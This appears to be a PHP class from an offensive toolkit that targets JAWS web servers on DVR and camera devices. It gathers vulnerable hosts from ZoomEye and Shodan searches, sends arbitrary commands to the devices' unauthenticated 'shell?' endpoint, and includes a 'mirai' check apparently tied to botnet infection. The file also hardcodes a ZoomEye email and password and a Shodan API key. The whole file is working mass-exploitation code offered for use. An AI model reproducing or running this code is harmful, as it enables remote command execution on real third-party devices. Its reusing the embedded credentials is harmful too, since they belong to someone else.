<?php
namespace App\VulBox;

use Exception;
use Jenner\Zoomeye\Query\HostQuery;
use Jenner\Zoomeye\Zoomeye;
use Shodan;

class Jaws extends Base
{
    protected function exec($cmd)
    {
        $response = $this->http->get("shell?{$cmd}");
        $res = $response->getBody()->getContents();
        $this->cli->cyan(trim($res));
        return $res;
    }

    public function handle()
    {
//        $this->nc();
        $this->cliCmd();
    }

    public function exploit()
    {
        if ($this->mirai()) {
            $this->log->info($this->base_uri);
        } else {
            $this->log->error($this->base_uri);
        }
    }

    public static function fromZoomEye()
    {
        $client = Zoomeye::create();
        $client->login("hehe.zhc@gmail.com", 'a123123123');
        $query = new HostQuery();
        $query->setMainWord("jaws");
        foreach (range(1, 50) as $page) {
            $response = $client->hostSearch($query, $page);
            foreach ($response['matches'] as $matchs) {
                $host = "http://{$matchs['ip']}:{$matchs['portinfo']['port']}";
                yield $host;
            }
        }
    }

    public static function fromShodan()
    {
        $client = new Shodan("URWJ37lMOSmL4NVrmAf9KYW0BYHyhUby", TRUE);
        try {
            foreach (range(1, 5) as $page) {
                $results = $client->ShodanHostSearch(array(
                    'query'  => 'jaws',
                    'fields' => 'ip_str,port',
                    'page'   => $page,
                ));
                foreach ($results['matches'] as $matchs) {
                    $host = "http://{$matchs['ip_str']}:{$matchs['port']}";
                    yield $host;
                }
            }
        } catch (Exception $e) {
            echo $e->getMessage() . "\n";
        }
    }
}